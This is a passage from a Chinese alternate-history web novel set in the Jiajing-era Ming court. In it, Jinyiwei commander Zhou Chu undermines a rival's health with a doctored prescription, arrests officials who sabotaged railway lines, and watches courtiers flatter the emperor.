如今的大明,特别是京城,温病派横行,那些真正懂得治病救人的大医,反而被这些人不断排挤打压,这些大医平日里基本都是药到病除的,但只要他们有一次出了问题,或者说也不是他们的方子有问题,只是病人没有遵从医嘱,出了问题,吃死了人。 这些温病派的大夫郎中就会联手打压他,说他是庸医,如此劣币驱逐良币,如今的京城之中,真正厉害的大夫已经是少之又少了。 这个锦衣卫的爹,当初就是因此被那些庸医迫害,最终含恨而终,临死之前交代他,以后无论做什么,都不能去行医。 “咱们这位夏阁老,这些天恐怕会夜夜笙歌了。” 周楚听着锦衣卫开的方子,忍不住笑道。 “是啊,前面这些天,他不会察觉什么问题,还会很依赖这服药,等他发现问题的时候,恐怕肾水已经枯竭,体内津液也被熬的差不多了,到时候想要再补,可就难了。” 锦衣卫说道。 “你叫什么名字来着?” 周楚看着眼前的锦衣卫,突然发现此人是个人才,医术超绝。 “属下邵蕙。” 锦衣卫听到周楚这么问,受宠若惊道。 周楚身为锦衣卫指挥使,能问他的名字,意味着以后自己算是正式进入了这位权势通天的大人物的视线之中了,这意味着什么,邵蕙做锦衣卫多年,不可能不清楚。 “邵蕙,怎么像个女人的名字。” 周楚看着邵蕙,调侃道。 “回大人的话,属下自幼体弱多病,我爹为了能让我活下来,特意给我取了这么一个名字,还让属下拜了一棵老柳树当了干爹,这才活了过来。” 邵蕙如实回答道。 周楚听到这话,点了点头,倒也不意外,这种习俗不算罕见。 “下去吧。” 周楚摆了摆手道。 邵蕙听到这话,恭敬行礼之后,离开了周府。 “回头告诉陆万山,把邵蕙往上提一提,千户的位置没了,副千户总有吧?这么一个人才,只是个百户,太屈才了。” 邵蕙离开之后,周楚看着一旁的沈炼说道。 “确实屈才,之前属下跟着他学了很多药理和病理,和他一比,属下学的不过是皮毛罢了,但一般的毒药也是瞒不过属下的眼睛的。” 沈炼听到这话,真心实意道。 真要论起来,这个邵蕙也算是沈炼的半个老师了,沈炼一直都很清楚邵蕙的才能,现在邵蕙能进入大人的视野,沈炼自然为他感到高兴。 ....... 随着火车的运输能力得到了证实,嘉靖下旨,让宝源局配合南镇抚司全力制造火车和车厢。 宝源局原本是铸造钱币的,但在永乐年间,宝源局更多的是被朱棣用来造船,这才有了后来的郑和下西洋。 宝源局的工匠很多,什么都能造,包括前些年大明下海的船,也都是宝源局造的,原本正德年间,宝源局已经处于半废弃状态了,里面的官员也都是只领俸禄,甚至不用去当值。 直到前些年,大明开海以后,宝源局开始彻底忙了起来,如今大明海上的船只,官方的基本都是出自于宝源局。 这一两年,宝源局倒不像刚开始那么忙了,毕竟如今大明的船只已经趋于稳定了,他们每年只需要固定的生产一些船只就可以交差了。 如此一来,宝源局的工匠完全可以借调到南镇府邸,帮海瑞他们大批量造火车和车厢。 有了宝源局的加入,南镇抚司的生产力得到了大幅度的提升,火车头还需要一定的技术含量,但车厢则不需要太多的技术含量,宝源局完全可以胜任。 如此一来,仅仅一个月不到的时间,南镇抚司就生产出了十几个火车头,车厢更是数不胜数。 有了这些火车,三条铁路就可以正式运营起来了。 随着三条铁路的正式运行,那些勾结盐帮的官员终于按耐不住了。 “大人,是时候动手了,一旦这些火车稳定跑起来之后,再动手就没什么意义了。” 一个官员看着另一个三品官,说道。 “那就让他们动手吧,今晚子时一到就动手,动手的地方不要离京城太近,也不要太远,三十里左右吧,就选江南那条线。” 为首的官员说道。 “大人英明,下官这就去安排。” 听到这话,刚才说话的官员高兴道。 另一边,夏言按照那个方子连吃了一个月,刚开始夜夜笙歌,他从未感觉自己如此勇猛过。 但只过了十天左右,夏言就感觉有些不对劲了。 那种升阳的感觉消失不见了,甚至慢慢地一点感觉都没有了。 这让夏言感觉异常的心慌,直接让管家将方子里的淫羊藿恢复到原本的剂量。 不过这也只是饮鸩止渴罢了,夏言按照原本的方子,虽然恢复了一些,却再也没有之前的感觉了,再过几日之后,按原本的方子吃,也没有任何感觉了。 最让夏言接受不了的是,原本夏言还算可以,现在不吃这个方子,算是彻底不行了。 就算吃了,也不会有太大的效果。 夏言才四十多,这种感觉让他异常的难受,甚至无法接受。 于是他让管家再次叫来了张郎中给他把脉。 “大人,您这是阳脱之相,肾水枯竭,大人要节制啊。” 张郎中光是看到夏言的模样,就吓了一跳,如今的夏言比一个月之前看上去老了好几岁,而且显得萎靡不振,他替夏言把了把脉,瞬间明白了问题所在。 “有没有补救之法?” 对于郎中的话,夏言自然不会觉得不好意思,他这种人脸皮极厚,很少会觉得不好意思。 “小的倒是可以尝试一番,只是不一定有效。” 张郎中此时心慌了,这种症状他哪会治,肾水一旦枯竭,再怎么补肾都是补不进去的,之前他的老师倒是跟他讲过类似的问题,倒也不是没有补救的方法,只是这涉及到六经辨证,涉及到五脏之间的内在联系,这对他而言太过难了些。 他怕自己胡乱开方子,再给这位权势滔天的夏阁老治坏了,到时候恐怕没什么好下场,与其如此,倒不如开个温补的方子,左右是不会有什么大错,就算眼前的夏大人的身子出了问题,也是他自己本身就有问题,和自己有什么关系? 打定了主意之后,张郎中挥笔给夏言开了个温补的方子,为了显得和之前的方子开的不一样,他还特地改了几味药。 “大人,这几味药或许可以中和大人的病情。” 张郎中指着自己新开的几味药,说道。 第352章 炸铁轨,锦衣卫抓人,周楚的安排 “大人,那些人出城了,估摸着要行动了。” 傍晚的时候,周楚正在书房练字,沈炼来到周楚面前神情严肃道。 周楚听到这话,顿时来了精神,放下了手中的毛笔,从一旁的婢女手中接过帕子擦了擦手。 “让我们的人盯紧他们,不要离得太近,以免打草惊蛇,等他们炸了铁轨之后再动手。” 周楚甚至都不用想,都能想到这些人动的无非就是炸铁轨的心思,周楚也一直在等他们动手,他们不动手,周楚也不好让北镇抚司动手抓人。 只是和盐帮勾结,有些利益往来的话,不足以将这些人一次打死。 既然选择动手了,周楚就不会给这些人翻身的机会。 沈炼离开后没多久,文徵明和唐伯虎两人联袂而来。 “衡器,咱们三个有日子没喝酒了,陪我们俩好好喝一杯。” 唐伯虎看到周楚道。 周楚听到这话,看向了一旁的春兰。 “让东厨准备一些下酒的小菜。” 这些年周楚晚上基本是不怎么吃饭的,其实多数也是受到这个时代的人的影响,这个年代讲究的是过午不食,倒也不是真的一点都不吃,只是很多人都会选择不吃晚饭。 这样的话对身体会好很多,身体一旦进入了晚上,就开始进入了相对封闭的状态,吃东西会让整个身体机能变得相对紊乱。 像周楚这种练武的,需要大量气血的,一般会在早上和中午吃的很多,晚上基本上不怎么吃了。 不过此时唐伯虎和文徵明来了,周楚自然不会死守着规矩,更何况周楚在晚上和人喝酒的事也没少干。 很快,一桌丰盛的菜肴被下人端了上来,周楚虽然嘴上说是准备些下酒的小菜,但以周楚的身份地位,再加上招待客人,再怎么都简单不了。 “你府上这厨子,不比醉仙楼的厨子差,特别是这葱爆羊肉,炒的那叫一个绝。” 唐伯虎一边说着,一边夹起一块羊肉,放入口中,随后端起酒杯,自顾自的先喝了一杯。 “啧!” 一杯酒下肚,唐伯虎满意地咂吧了一下嘴。 “一点正形没有,这是人家衡器家,你自己先喝了起来?” 文徵明看着唐伯虎,有些不满道。 “这有什么,衡器又不会和我这把老骨头计较,衡器每天都有做不完的事,咱俩来也就是让衡器陪着喝点,还真能让他喝醉了不成?” 唐伯虎瞥了文徵明一眼道。 这话说的,让文徵明哑口无言,一时不知该如何反驳。 周楚听到这话,笑了笑,给自己倒了一杯酒,然后端起酒杯。 “来,学生敬两位老师一杯。” 周楚说着端起酒杯,一饮而尽。 唐伯虎和文徵明也跟着端起酒杯,抬杯见底。 接下来周楚大部分时间都是在夹菜,唐伯虎和文徵明两人开始了捉对厮杀,周楚则是一边吃着菜,一边看他们两个老兄弟互相拆台。 很快,唐伯虎和文徵明两人就有些喝多了,唐伯虎上头了,说话都开始有些不利索了。 “我告诉你徵明,要不是衡器,我这把老骨头恐怕前些年就没了。” 唐伯虎说着端起酒杯,又喝了一杯。 “老师说的哪里的话?您这身子骨硬朗着呢。” 周楚说道。 “拉倒吧,自家人知道自家事,那几年我郁结于心,身子骨是一日不如一日,也找过大夫看过,大夫都说是心病,心病难除,再加上当时也算是穷困潦倒了,如果不是遇到了衡器,让我想通了许多事,吃的又这般精细,哪能活到今日?” 唐伯虎虽然喝的微醺了,思路却是异常清晰。 “当时我觉得我可能是这世上最倒霉的人了,当年我年方十五以县试府试连中两元,是何等的意气风发,可是后来,后来....” 唐伯虎说到这里忍不住放声大哭。 周楚和文徵明自然知道后来发生了什么,在唐伯虎二十四岁那一年,唐伯虎的父母妹妹,甚至在后来的一年之中,妻子都相继离世,不知道的人还以为唐伯虎是天煞孤星呢。 “再后来,我以乡试第一的成绩中举,可谓是志得意满,放浪形骸,也因此和徵明生了嫌隙,都怪我,我自罚一杯。” 唐伯虎说着又端起一杯酒,一饮而尽。 这件事,老哥俩喝多了之后已经不是第一次提起了,周楚也早已经习惯了。 “后面的事你们也都知道了,科举舞弊,又差点上了宁王的贼船,我那时就想,一个人怎么可以倒霉成这个样子,很多时候,我真的就要坚持不下去了。” 唐伯虎醉眼朦胧道。 很多人看唐伯虎的诗,以为老年的唐伯虎很是洒脱,其实不然,就像很多人以为苏轼是一个洒脱之人一般,都是对他们的误解,他们的诗洒脱,是为了排解心中的情绪,倘若他们真的能做到像诗中那般洒脱的话,也就没必要写出来了。 “九娘离世之后,我当时就想着,要不我就随她一块去了吧,当时芸娘天天看着我,就是怕我想不开,可我在苏州府待不下去啊,处处都是九娘的影子,于是在芸娘的建议下,我一路装疯卖傻,来到了京城访友。” 唐伯虎一边说着一边喝,不得不说,唐伯虎的酒量确实不一般,即便是微醺了,还可以继续喝很多。 “直到后来在我那好友的书院之中遇到了衡器,彼时衡器还是小小一个小人,不过那时候就能看的出来,这孩子很有主意,陆文心当时还是他的少爷,却事事听他的。” 唐伯虎想起当年的那一幕,忍不住笑道。 “直到后来,陆家出了事,当我看到衡器带着云瑾一人艰难求生,还要为陆家上下打点的时候,我心中说不出什么感觉,那时候我就想,我这一生,衣食无忧,从来没有为这些东西真正的发过愁,即便是潦倒了,也有朋友接济。” “但那时候衡器才多大?十岁吧,虽然长的挺高,但眉眼之间一眼就能看出来,还是个半大小子。” 唐伯虎说着,一旁的文徵明静静的给自己倒酒,陪他喝着。 “就这么一个半大小子,愣是凭着自己的本事养活了云瑾,还赚了足够的钱不停地为陆家打点,那时候我就在想,和衡器一比,我除了在科举上有些本事以外,这辈子真正做成过什么事吗?” “从那时候开始,我原本那郁结的心,就慢慢变得平缓了。” 唐伯虎说着又和文徵明碰了一杯。 很快,唐伯虎和文徵明都喝醉了,在周府喝酒,他们两人自然放心,所以没给自己留一点量。 周楚安排下人将两人扶到客房之中休息之后,这才回到书房之中,等待锦衣卫行动的消息。 此时已经接近子时了,周楚相信,这些人要动手的话,要么在子时,要么在丑时,这两个时辰是巡防之人最容易犯困的时候。 子时刚过,周楚感受到了轻微的震动,隐约之中还听到了一声响动。 这个时代的炸药并不像后世那般威力巨大,相隔三十里,能感受到震动,已经算是很大的威力了。 就这动静,想要瞒过巡防之人基本不太可能,除非炸完之后,顺手将附近的巡防之人杀死。 不过想想,这倒也是顺手的事。 周楚在书房之中又等了半个时辰左右,沈炼来到了周楚面前。 这次的行动由沈炼全权指挥,至于大柱,他们俩始终要有一个人留在周楚身边,毕竟他们的首要职责是护卫周楚的安危。 “大人,炸铁轨的人已经全部抓了起来。” 沈炼恭敬道。 “把他们交给北镇抚司,告诉陆万山,明天天亮之前,我要拿到该拿到的东西。” 周楚神灵冷峻道。 “是!” 沈炼行礼之后,离开了周府,带着被抓的那些人直接送到了昭狱之中。 “沈老弟,大人有什么交代吗?” 陆万山清楚今晚有大行动,所以一直都在北镇抚司待命,此时看着沈炼带着这些人,顿时来了精神。 “大人说不管你用什么手段,明日一早,大人要拿到该拿到的那份名单。” 沈炼看着陆万山,说道。 “沈老弟放心,不就是撬开这些人的嘴嘛,这事好办,不需要到天亮,给我一个时辰。” 陆万山听到这话,摩拳擦掌道。 他在成为做总旗的时候,在北镇抚司之中就是靠刑讯出名的,自从他成为千户之后,乃至到后来成了北镇抚司的镇抚使,陆万山基本很少碰刑讯的事了。 但此时周楚吩咐下来了,陆万山准备重操旧业。 “那就交给陆大人了。” 沈炼笑道。 沈炼离开之后,陆万山当即让北镇抚司的刑讯官将他的刑讯工具都拿了出来,陆万山已经很多年不干这个了,工具早就没了。 “诸位,只要本官不让你们死,阎王也不敢收你们,到时候你们想死都难,你们可想好了,有谁想要交代的。” 陆万山看着昭狱之中炸铁轨的那些人,满脸笑容道。 那些被抓的人,看着陆万山那熊一样的身材,再看看陆万山那诡异的笑容,嘴里露出的一口白牙,忍不住打了个寒颤。 此时同样没睡的还有嘉靖,锦衣卫的行动,自然是瞒不过嘉靖的,嘉靖在御书房之中,来回踱步。 “黄锦,你说朕对那些官员还不够好吗?” 嘉靖有些愤慨地看着黄锦问道。 “陛下宅心仁厚,对他们自然是极好的,如今他们这些官员的俸禄比之先皇在位期间,不知道提高了多少,是那些人贪心不足罢了,有些人就是如此,对他们再好,也不会满足。” 黄锦在一旁宽慰道。 嘉靖听到这话,叹了口气。 “这满朝的官员,衡器处理了一茬又一茬,但那些贪官污吏,好似杀不尽一般,杀了一茬,又冒出来一茬。” 说这话的时候,嘉靖的神情有些挫败。 “陛下,纵观有明一朝,即便是在最严酷的洪武一朝,贪官污吏也没办法杜绝,陛下不必因此忧虑,如今大明给百官的俸禄已经大幅度提升了,官员之中贪官的占比已经大幅度降低了,像勾结盐帮的这批官员,毕竟只是少数,陛下英明神武,如今大明国富民强,疆域更是达到了前所未有的地步,将来史书上,陛下可是要功比汉朝文皇帝的存在。” 黄锦拍马屁道。 黄锦太懂得如何拍嘉靖的马屁了,黄锦很清楚,嘉靖的偶像一直都是汉文帝,所以他不会说嘉靖功比汉高祖,也不会说功比唐太宗文皇帝。 果然,这句话算是说到了嘉靖的心坎上,一句话说的嘉靖心花怒放。 “功比文皇帝就有些过了。” 嘉靖心中的气早已不见,黄锦这话让嘉靖有种飘飘欲仙的感觉,虽然他嘴上说的是这话有点过,但言外之意就是让黄锦继续夸。 黄锦自然明白嘉靖的意思。 “哪里过了?文皇帝当初也只是在文治上面独树一帜,单论文治,陛下让大明的国库从赤字到如今钱财多到不知道该如何花,如今我大明的百姓经过这三条铁路的修建,陛下更是做到了藏富于民,如今的大明,是有明一朝最强盛的时候。” 黄锦侃侃而谈道。 嘉靖听到这话,嘴角却是怎么都压不下去了。 “但文皇帝只有文治,陛下论武功,却是可以功比汉朝孝武皇帝的,孝武皇帝南征百越,北击匈奴,西征大宛,陛下南平安南,北征蒙古,往西彻底收复西藏,如今大明的版图,甚至堪比盛唐,何人能比?” 黄锦说这话的时候,越说语气越是崇拜。 “这些都是衡器的功劳。” 嘉靖嘴上这么说,但此时被黄锦夸的快乐的找不着北了。 “陛下此言差矣,孝武皇帝也不是御驾亲征,所谓知人善任,孝武皇帝不拘一格任命霍去病为大将军,任命卫青为大将军,这本身就需要魄力,陛下当初刚登基的时候,周大人才十四岁,陛下能有如此魄力,将周大人从一介布艺擢拔为锦衣卫指挥使,这又何尝不是一种惊天的魄力呢?” 黄锦认真道。 “好了好了,就你会说,行了,时候也不早了,朕也该就寝了,今夜恐怕是不会有结果了。” 嘉靖瞪了黄锦一眼,随后假模假样的打了个哈欠,朝寝宫方向走了过去。 “大人,您要的名单,属下幸不辱命。” 陆万山不愧是刑讯出身的,说一个时辰,就是一个时辰,一个时辰都不到,陆万山就拿着一个册子来到了周楚面前。 此时的周楚还没睡,为的就是等这个名单。 周楚接过册子看了一眼,随后将册子还给了陆万山。 “按名单抓人吧。” 第353章 一网打尽的北镇抚司,为难的陆万山 是夜,北镇抚司从后半夜开始抓人,一直抓到天亮,和盐帮勾结的那些官员基本被北镇抚司一网打尽。 天一亮,陆万山就来到周楚面前复命了。 “大人,名单上的人全都抓了起来,现在就审吗?” 陆万山恭敬道。 “审吧,注意点方式方法,能不用刑尽量别用刑。” 周楚看着眼前的陆万山说道。 周楚这话,倒是让陆万山为难了起来,北镇抚司是什么地方?北镇抚司可从没有刑不上大夫的规矩,一直以来北镇抚司的审讯过程都是简单粗暴的用刑,陆万山更是刑讯出身。 周楚说尽量别用刑,让陆万山有些抓马,一时不知道该如何去做了。 不过在自己的顶头上司面前,陆万山又不敢去问,这样显得自己很无能。 陆万山出了周楚的书房,看到院子中的沈炼,眼睛顿时亮了,要说谁跟着周楚最久,那无疑是沈炼了,要说谁对周楚的处事风格最为熟悉,也是沈炼。 之前很多事陆万山搞不清楚的,都会私下里询问沈炼的意见。 “沈兄弟,借一步说话?” 陆万山来到沈炼面前,殷勤道。 沈炼一看他这副表情,就知道大人的命令让他不知道怎么办了,这是有事问自己。 不过沈炼倒也不拿乔,跟着陆万山来到周府外院之中。 “兄弟啊,周大人让我能不上刑尽量不要上刑,这不是为难我吗?那些官员一个个都是老狐狸,不见棺材不落泪的,要是一般人,吓唬一下基本也就招了,但这一招对他们没用啊。” 面对沈炼,陆万山大吐苦水道。 “那是你本事不到家,我跟着大人这么久,见过大人的各种手段,别说是这些官员了,就是山西的那些奸商又如何?大人甚至不需要亲自出面,一句话就让他们土崩瓦解。” 沈炼有些不屑地看着陆万山道。 在沈炼眼里,眼前的这个北镇抚司镇抚使完全是个莽夫,凡事只知道蛮干,从不讲方式方法,不过这也是很好理解的,毕竟陆万山升到镇抚使的那个年代,还是正德年间,那时候锦衣卫式微,那些官员更希望一些没脑子的人在锦衣卫之中身居高位。 陆万山倒也不是完全没脑子,有一些,但不多。 陆万山听到沈炼这么说,眼睛顿时亮了,果然,有问题解决不了,问沈炼准有办法。 “兄弟,赶紧告诉哥哥,该怎么做?” 要是其他人,陆万山此时已经将腰间挂着的玉佩送给他了,但沈炼和其他人不一样,沈炼为官清廉,别人送他东西也是从来都不要,这一点陆万山也是碰了几次钉子之后才意识到。 所以此时陆万山并没有送任何东西给沈炼,他很清楚,能解决的问题,沈炼一定会不遗余力帮自己解决,只要这件事是为了大明,为了朝廷。 “这种事,说难也难,说简单也简单,这些人就铁板一块吗?他们肯定也怕其他人出卖他们,把他们单独关押起来,他们就不知道其他人说过什么,那么其他人说没说过,还不在于你怎么说?大人管这个叫囚徒困境。” 沈炼提点道。 陆万山能到这个位子,自然不是蠢货,被沈炼这么一点,顿时如同醍醐灌顶一般。 “妙啊,我知道该怎么办了,多谢兄弟了,回头来家里吃饭,你嫂子的手艺特别好。” 陆万山搂着沈炼的肩膀说道。 “行,等哪天有空吧。” 对于陆万山的邀约,沈炼并没有拒绝,锦衣卫之中,沈炼和陆万山算是关系不错的,陆万山这种五大三粗的,没什么太深的心眼,沈炼很喜欢和这种人做朋友。 陆万山离开之后没多久,唐伯虎和文徵明也从宿醉之中醒了过来,周楚得到消息之后,让下人给他们端去了醒酒汤,当两人有些迷迷糊糊来到周楚书房的时候,云瑾也刚好走了进来。 “小云瑾,来让为师好好看看你的丹青有没有落下。” 唐伯虎看到云瑾之后,眼睛顿时亮了。 自从从西藏回到京城之后,云瑾便不再像之前那般每日住在周府了,这还是云瑾的娘特意和她说的。 “你难道准备一辈子只当衡器的妹妹不成?你都这么大了,整日住在周府,成何体统。” 陆夫人这话一语惊醒梦中人,那之后云瑾便基本都在陆府住了,偶尔来周府串串门。 唐伯虎进京之后,这倒不是第一次见到云瑾,他刚进京的时候,云瑾作为他的学生,就去拜见了,不过那时唐伯虎的心思都在吃喝玩乐上面,此时第二次见面,唐伯虎才想起考校云瑾的丹青技艺。小說中文網 “当然没落下,我可是勤学不辍。” 云瑾说着,从书案上拿起笔,一旁的周楚帮忙铺纸,云瑾看着眼前的纸张,下笔如有神助,一幅写意山水画一挥而就。 “好!好!好!这画画的水平,快超过你老师了。” 一旁的文徵明看到云瑾画的这幅画,双眼放光道。 当然,文徵明这话难免有些夸张的成分,真要论画画的水平,云瑾还差唐伯虎很多,毕竟唐伯虎这么多年,画画的水平也不是一直停滞不前的,如今唐伯虎作画的水平,早已达到了另一个层次,那个层次别说是周楚了,就算是云瑾也可望不可即。 “先生谬赞了,学生还差的多,如今我这丹青水平连老师年轻时尚有不及,和老师比,还差的远。” 云瑾恭敬道。 一旁的唐伯虎听到这话,点了点头。 “不错,不骄不躁,更难得的是,你这画不像一般女子作的画,一般女子画的画,多了一分小家子气,说的好听点叫小家碧玉,叫娟秀,但说白了就是上不得台面,你这画画的大气磅礴,如果拿给别人看,他们一定看不出这是一个女人画的画。” 唐伯虎拿起云瑾画的画,满嘴都是夸赞。 “你也不瞧瞧人家云瑾是什么身份?领兵打仗这么多年,大明的大好河山,海上的波谲云诡,人家什么没见过?” 一旁的文徵明翻了个白眼道。 “二哥,德清公主邀请我娘和我二哥二嫂去公主府做客,公主还特意让我娘叫上你和老师,还有师娘,一起去公主府。” 云瑾并没有因为两人的夸赞而得意忘形,她来找周楚,本就是有事在身的。 “你们这些内宅之人聚一聚,我去干什么?” 唐伯虎老脸一红道。 “哪是什么内宅之人?文心怎么就是内宅之人了?我又什么时候成了内宅之人?还有那公主家的大公子和儿媳,老师莫非和公主之间有什么见不得人的秘密?” 周楚看着唐伯虎,忍不住调侃道。 “能有什么秘密?老夫都这把年纪了,不过是觉得不方便罢了。” 唐伯虎解释道。 “那就这么定了,一会老师叫上师娘,再把唐墨带上,这小家伙太灵了,公主一定会喜欢。” 云瑾根本不给唐伯虎反驳的机会,直接拍板道。 “春兰,去把师娘和唐墨请过来。” 周楚看着旁边候着的春兰说道。 唐伯虎一看这架势,根本不给自己拒绝的机会,有些无奈的摇了摇头。 文徵明则留在了周府,如今文徵明虽然在京城买了宅子,但高中之前的很长一段时间,他都是住在周府的,所以对于周府,文徵明感觉就像是在自己家中一样。 杨氏和杨苒坐着轿子,周楚和陆炜则和云瑾一起骑着马在前面开路。 云瑾虽然没穿官服,也没穿军装,但平日里的常服也都是在云桂坊定制的,款式和一般的女装完全不同,更偏向于锦衣卫的服饰,显得干净利落。 对于云瑾坚持起码,杨氏也有些无奈,不过云瑾毕竟有官职在身,还是大将军,起码倒也和其身份匹配。 众人刚到公主府门口,早已等候多时的管事太监以及大门口的侍卫急忙上前行礼。 “小的拜见周大人,拜见陆大将军,见过陆公子。” 说完这话,管事太监给了那两个侍卫和门房一个眼神,几人急忙上前帮忙牵马,周楚等人则翻身下马。 杨氏和杨苒此时也已经从轿子上下来了。 “公主早已等候多时,诸位快请进吧。” 太监说着在前面带路,几人跟着太监一路来到了公主府后院的正厅。 “你们可算来了。” 正厅门口,德清公主得到消息之后,带着林鹿和林鹿的夫人以及林廌早已等在门口。 “姐姐相邀,岂敢不来。” 杨氏这些年经常出入公主府,再加上她本身又是皇帝的乳娘,现如今陆家的地位早已不同往日,和德清公主早已姐妹相称,倒也不显违和。 “芸娘,我们得有很多年没见了吧。” 德清公主看着芸娘,热情道。 “是啊公主殿下,有几年了,上一次见面还是在苏州府。” 芸娘有些感慨道。 到了她们这个年纪,早就没了争风吃醋的想法,更何况芸娘倘若是喜爱争风之人,恐怕早就在唐伯虎身边待不下去了,毕竟唐伯虎可是常年出入青楼。 林鹿旁边,他的夫人正满脸好奇地打量着周楚,关于这位锦衣卫指挥使的大名,她没嫁到公主府之前就如雷贯耳了,嫁过来之后,更是没少听自己的夫君提起周大人如何的英明神武,算无遗策。 在林鹿的口中,周楚简直无所不能。 这让林鹿的夫人一直对这位锦衣卫指挥使充满了好奇,此时看到周楚,觉得他与其他的公子哥也没什么太大的区别,只是长的英武了些,看上去也没有三头六臂。 很快,众人跟随德清公主进入了正厅之中,这种场面,都是男人一间屋子,女眷一间屋子,很快,杨苒就拉着云瑾在林鹿夫人的带领下,去了旁边的偏厅之中。 “你且好好招待衡器还有唐解元。” 德清公主交代了林鹿一句,带上杨氏和芸娘还有徐渭也去了偏殿。 “大人。” 德清公主离开之后,林鹿和林廌两兄弟很自觉的就来到周楚面前行礼道。 “不必如此多礼,这是公主府,你们身份尊贵。” 周楚摆了摆手道。 “我听说你小子最近去东瀛越来越少了?都是你那个表哥在替你当值?” 周楚看着眼前的林廌,调侃道。 “东瀛那个地方,刚去的时候还行,待久了也就那样,该玩的都玩遍了,一点意思都没有。” 林廌挠了挠头道。 “那也不能一直不去,让你去东瀛,是让你去建功立业的,是让你去玩的吗?” 周楚脸色一板道。 林廌看到周楚这个脸色,顿时吓得一哆嗦,差点没直接跪了。 “大人恕罪,属下以后定不会再偷奸耍滑了。” 在周楚面前,林廌甚至连找借口的勇气都没有,直接承认了错误。 一旁的唐伯虎只是默默地喝茶看着,心里对自己这个学生的权势第一次有了直观的认知,就连公主的两个儿子,在自己的学生面前都战战兢兢,特别是公主的大儿子,那可是封侯的存在,还是大将军,在自己的这个学生面前,大气都不敢喘。 唐伯虎到没有慷他人之慨,劝周楚不要太较真,他很清楚,自己说这话,只会有损自己学生的威严,自己作为老师,该说什么话,该做什么事,唐伯虎还是分得清的。 眼看林廌痛快的承认了错误,周楚叹了口气。 “你要知道,人心易变,东瀛天高皇帝远,如果让你那表哥一直待在那里,时间久了,他难免不会生出其他心思,到时候你就是害了他,害了汪直。” 周楚看着林廌,神情严肃道。 林廌听到这话,冷汗顿时就下来了。 “大人,属下知罪,属下这就向陛下上疏,即日启程,前往东瀛。” 此时的林廌才意识到自己做了件什么蠢事。 他和汪直在东瀛相处过很长时间,他很了解汪直的为人,此人从来都没什么太大的野心,他内心想着的只有加官进爵,对于汪直,林廌一直都很放心,所以觉得东瀛自己去不去都没什么太大的问题。 但此时听到周楚这么说,他才意识到自己忽略了自己的这个表哥。 倘若汪直会被加官进爵这些束缚住,他的表哥,从小生活在公主府,什么没见过?一旦一直在东瀛待着,难免会起了自立为王的心思,到了那个时候,恐怕汪直会遭到他的毒手。 当然,这并不是说齐良居心不良,时间跨度一旦无限拉长,其中的风险就会变得越来越大,谁也不敢去赌人心。 最起码周楚不会赌。 周楚一直奉行的原则便是,倘若不想让人背叛你,就不要给他背叛的机会。 眼看着目的达到,周楚点了点头,端起茶杯喝了口茶。 周楚等人中午是在公主府吃的饭,等周楚刚离开公主府,刚好撞见了找过来的陆万山。 “招了?” 周楚看着陆万山那掩饰不住的喜悦之情道。 “招了!” 陆万山点头道。 第354章 朝堂上的争议,暴怒的兵部尚书 嘉靖终于等到了周楚的奏疏,打开看了看,上面罗列了那些官员的罪名,以及相关的利益链。 嘉靖看完之后,即便是早有预料,还是忍不住心中的怒火,将奏疏往桌子上一拍。 “岂有此理,这些人和盐帮简直无法无天,侵吞朝廷这么多财产。” 即便是早有预料,但看到这帮人居然如此胆大包天,运盐的收入,朝廷只能分到很少的一部分,大部分都被这帮人瓜分了,这是嘉靖无论如何都容忍不了的。 按照这帮人的供述,原本这条利益链上还有很多大佬,远不止三品官员这么简单,不过大多数三品以上的,要么致仕了,要么直接被周楚查处了。 要不说夏言是个狠人呢,野心太大,即便这么大的利益放在眼前,也没有参与其中,因为夏言很清楚,这件事经不起查,一旦有人想针对自己,这就是自己的一个致命弱点。 “主子息怒,这帮人确实该死,但因为他们伤了龙体可就不值当了。” 黄锦在一旁温声细语地劝慰道。 嘉靖听到这话,这才坐了下来,指了指周楚的奏疏。 “送交内阁,让内阁给这些人拟罪吧,明日朝堂上,再好好议一议此事。” 黄锦听到这话,不着痕迹的将奏疏拿了起来,然后走出了御书房,向文渊阁方向而去。 文渊阁之中,杨一清和杨慎等人正调侃夏言呢,这些天夏言身子骨确实出了问题,跟内阁告了几日的假,只是一直不来当值也不是问题,这天下午,夏言不得不出现在文渊阁。 “夏阁老,你这是怎么了?怎么看上去这般憔悴?周大人给你找的那个大夫有问题?” 杨一清看到夏言这般模样,顿时吓了一跳,此时的夏言看上去比之前像是老了十岁,脸上也多了许多细密的皱纹,调理了几日,黑眼圈倒是没那么严重了,但明眼人一眼就能看出来,夏言这身子骨是出了大问题了。 “周大人给下官找的大夫没什么问题,开的药也都是好药。”小說中文網 夏言想了想,实在是挑不出给他看病那锦衣卫的毛病,他只是觉得自己这段时间纵欲过度,不知节制,才导致如今这般的。 因为那药方无论是给谁看,都没看出什么问题,夏言即便是想怀疑,也怀疑不上,毕竟药是他的人自己抓的。 夏言想遍了每一个环节,也找不出周楚的毛病。 “那夏阁老何故如此啊?” 一旁的杨慎此时才看到夏言的模样,也是吓了一跳。 “周大人派来的人给我开的药确实是好药,让我找回了年轻时候的感觉,有些不知节制了,纵欲过度导致的。” 夏言苦笑道。 对于这点,夏言倒是没必要隐瞒,毕竟这方面的面子,他早就丢光了,也不在乎再多丢一些。 “我说呢,老夫听闻最近半个月,夏阁老新纳了三房小妾,看来周大人派去的这人是真厉害,不过夏阁老也要懂得节制才好,不然伤身。” 杨一清调侃道。 “夏阁老这身子骨可以啊,半个月三房小妾,怪不得如此憔悴呢。” 杨慎笑道。 一旁的贾咏倒是没有调侃夏言,他在内阁之中一向沉默寡言,专心干事,他很清楚夏言的为人,此人阴狠,杨一清和杨慎,一个内阁首辅,一个天下文坛领袖,没有太大的利益冲突,夏言不会轻易招惹这两人。 但自己不同,自己背景一般,权势的话,虽说是内阁成员,但平日里也不结党,倒也没有多大的权势,所以贾咏在内阁之中,一直都甘愿当一个小透明,熬到致仕就算是功德圆满了。 这种想法和之前多次请求致仕的蒋冕倒是有些类似。 几人正在说话,黄锦走了过来,众人纷纷看向了黄锦,他们清楚,黄锦从不会无缘无故出现在文渊阁,他每次出现,都会带着皇帝的旨意前来。 “黄公公,陛下有何吩咐?” 杨一清看着黄锦,笑道。 对于黄锦,无论是杨一清、杨慎,甚至是夏言从心底都厌恶不起来,黄锦是个老好人,见谁都是一脸笑容,而且不是那种虚伪的笑容,所以杨一清即便是内阁首辅,即便此时黄锦还不是司礼监掌印,但杨一清还是很给黄锦面子。 